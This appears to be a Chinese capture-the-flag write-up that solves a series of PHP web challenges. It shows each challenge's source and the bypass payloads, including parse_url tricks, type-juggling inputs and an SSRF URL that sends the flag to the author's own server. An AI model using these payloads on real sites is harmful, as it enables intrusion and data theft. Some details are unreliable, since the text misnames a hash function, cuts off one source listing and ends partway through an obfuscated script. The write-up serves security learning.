solve me(web wp)

warm up

逆着解下码

<?php
$chars = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex((base64_decode($chars)))));

得到结果flag{582a0f2c7e302244b110cc461f5cb100}

badcompare

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['answer'])){
        if($_GET['answer'] === '尊찢悼嚴隆'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

要求输入一个值,如果answer跟他相等的话就给flag,但是那个值直接复制粘贴不行,用个脚本获取它的编码

import requests
import urllib
url = "http://badcompare.solveme.peng.kr/"
re = requests.get(url=url)
print(re.content)

然后转成url编码%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC

发过去就有flag了flag{446c7b68ad824cd9c1df87158717aa2b}

winter sleep

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['time'])){
        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';
        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';
        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';
        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

要求输入一个数,在5184000和7776000之间,然后浏览器会sleep这段时间

直接输入是不可能的,sleep太长了,因为sleep的时间会先int处理,所以可以用科学计数法去绕一下,如果输入6e6的话,就是6000000,刚好在两个数之间,而且int以后就是6,只要等六秒就有flag了

flag{2d4e9b6608efb8088abb2345ef2f7b90}

hard login

源码

 <?php
    error_reporting(0);
    session_start();
    require __DIR__.'/lib.php';
    if(isset($_GET['username'], $_GET['password'])){
        if(isset($_SESSION['hard_login_check'])){
            echo 'Already logged in..';
        }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
            echo 'Wrong username..';
        }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
            echo 'Wrong password..';
        }else{
            $_SESSION['hard_login_check'] = true;
            echo 'Login success!';
            header('Location: ./');
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

emmm,要求去登录,然后又要匹配username和password,可是找了很久都找不到他们两个的值会是什么,各种弱密码也不行..........orz

看到有个location,试下访问下index.php,发现自动跳转到login.php,抓包也抓不到,最后尝试一下curl

好吧,原来在这.........

url filtering

源码

 <?php
    error_reporting(0);
    require __DIR__."/lib.php";
    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);
    $params = explode("&", $url_query);
    foreach($params as $param){
        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }
        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false{
            die("no hack");
        }
    }
    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }
    highlight_file(__FILE__); 

这里利用一个parse_url的漏洞,如果url是以//开头,就会认为是相对url,把它切割成另一个url,也可以用反斜杠去绕过

payload

http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

http://urlfiltering.solveme.peng.kr\\?do_you_want_flag=yes

然后就有flag了flag{dce9d958be17f0f360b8148706e87bf2}

hash collision

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['foo'], $_GET['bar'])){
        if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
            die('Too long');
        }
        if($_GET['foo'] === $_GET['bar']){
            die('Same value');
        }
        if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
            die('Different hash');
        }
        echo $flag, '<hr>';
    }
    highlight_file(__FILE__); 

传入两个数,要求值不一样但是加密以后的值一样,利用sha256函数漏洞去绕过

?foo[]=1&bar[]=2

然后就有flag了flag{0cec577bd45696ab552fe3ab6110c35b}

Array2String

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    $value = $_GET['value'];
    $username = $_GET['username'];
    $password = $_GET['password'];
    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);
        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }
    highlight_file(__FILE__); 

访问一下secret.passwd可以看到password是simple_passw0rd

剩下的就是怎么绕过value了,可以看到username是不用传的,而且username由value决定,这里利用一个chr的漏洞,当chr去解析小数时,会在当前的基础上继续递增去获得字母.......感觉说不清,上脚本吧

$i = 0;
while ($i<=100){
    $test = $i."e1";
    if ($test > 32 && $test < 127) ;
    else{
        if ((ord(chr($test))>32 && (ord(chr($test))<127))){
            echo "test:".$test."  "."chr:".chr($test)."<br>";
        }
    }
    $i += 0.1;
}

运行以后可以看到

所以就可以用这些去绕过了,payload

?value[]=30.5e1&value[]=30.9e1&value[]=37.2e1&value[]=36e1&value[]=35.1e1&value[]=32.8e1&value[]=35.3e1&value[]=35.5e1&value[]=36.3e1&value[]=36.1e1&value[]=36.6e1&value[]=35.9e1&value[]=32.3e1&value[]=35.3e1&value[]=36.5e1&value[]=36.8e1&password=simple_passw0rd

拿到flag为flag{91b966596782c89bc6eb4daa75f459d7}

give me a link

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }
        if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
            die('Not allowed URL');
        }
        $parse = parse_url($url);
        if($parse['path'] !== '/plz_give_me'){
            die('Not allowed path');
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);
        echo 'Okay, I sent the flag.', '<hr>';
    }
    highlight_file(__FILE__); 

第一个过滤,不允许用下划线

第二个,限制了$_SERVER['HTTP_HOST'],而且抓包不准改host

第三个,parse_url解析后路径为/plz_give_me

满足了上面的过滤以后就会发个数据包给host

看下parse_url的官方手册可以看到

url
    The URL to parse. Invalid characters are replaced by _.

下划线的绕过是parse_url解析url时,无效的字符会被代替成下划线,所以可以用%1a去绕过,这样的话也能传输plz_give_me满足第三条件

还有一个就是

$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url))的结果是

array(8) { 
    ["scheme"]=> string(4) "http" 
    ["host"]=> string(8) "hostname" 
    ["port"]=> int(9090) 
    ["user"]=> string(8) "username" 
    ["pass"]=> string(8) "password" 
    ["path"]=> string(5) "/path" 
    ["query"]=> string(9) "arg=value" 
    ["fragment"]=> string(6) "anchor" 
}

可以看到,host已经改成了hostname,也就是变得可控了

到了这里,我们可以构造的payload就是

http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame

然后再去服务器看下apache2的日志就能看到

"GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 476 "-" "-"

真的是不容易啊.........

give me a link2

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }
        $parse = parse_url($url);
        if(!preg_match('/^https?$/i', $parse['scheme'])){
            die('Not allowed scheme');
        }
        if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
            die('Not allowed host');
        }
        if(!preg_match('/\/plz_give_me$/', $parse['path'])){
            die('Not allowed path');
        }
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if($socket === false){
            die('Failed to create socket');
        }
        $host = gethostbyname($parse['host']);
        $port = is_null($parse['port']) ? 80 : $parse['port'];
        if(socket_connect($socket, $host, $port) === false){
            die('Failed to connect');
        }
        $send = "HEAD /".$flag." HTTP/1.1\r\n".
            "Host: ".$host.":".$port."\r\n".
            "Connection: Close\r\n".
            "\r\n\r\n";
        socket_write($socket, $send, strlen($send));
        $recv = socket_read($socket, 1024);var_dump($recv);
        if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
            die('Not allowed response');
        }
        socket_close($socket

这题跟上一题差不多,只是host改成了要以localhost或者127开头,不知道为什么,直接用php的ip2long出来的是错的,这里给个网站http://www.msxindl.com/tools/ip/ip_num.asp,用这个转化为大整数的才是对的

最终payload

http://givemealink2.solveme.peng,kr/?url=http://转换成大整数的ip:端口号/plz%1agive%1ame

然后再nc一下就有flag了

replace filter

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    if(isset($_GET['say']) && strlen($_GET['say']) < 20){
        $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo 'What the f**k?';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

传个say过去,长度小于20,如果检测到flag就替换掉,然后如果匹配到give_me_the_flag就输出flag

看回正则可以看见/^(.*)flag(.*)$/,这个正则匹配的任意字符并不包括换行符,而^$又限定了在同一行,所以加个换行符就能绕过了,payload为?say=%0agive_me_the_flag

最后得到flag是flag{f7b4422c4570282e64560f081701ccfa}

hell js

源码可以看到一堆类似jsfuck代码,解密一下发现不行???

后来才知道是js混淆代码,用脚本解密一下

# coding:utf-8
js = "[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()({})[+[]]+(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]))+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])])()[!![]+!![]+!![]+!![]+!![]])()[(![]+[])[+[]]+(!![]+[])[+!![]]+({}+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(+[]+[]))()[!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[+[]]+(![]+[])[+!![]]+(!![]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])))()+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!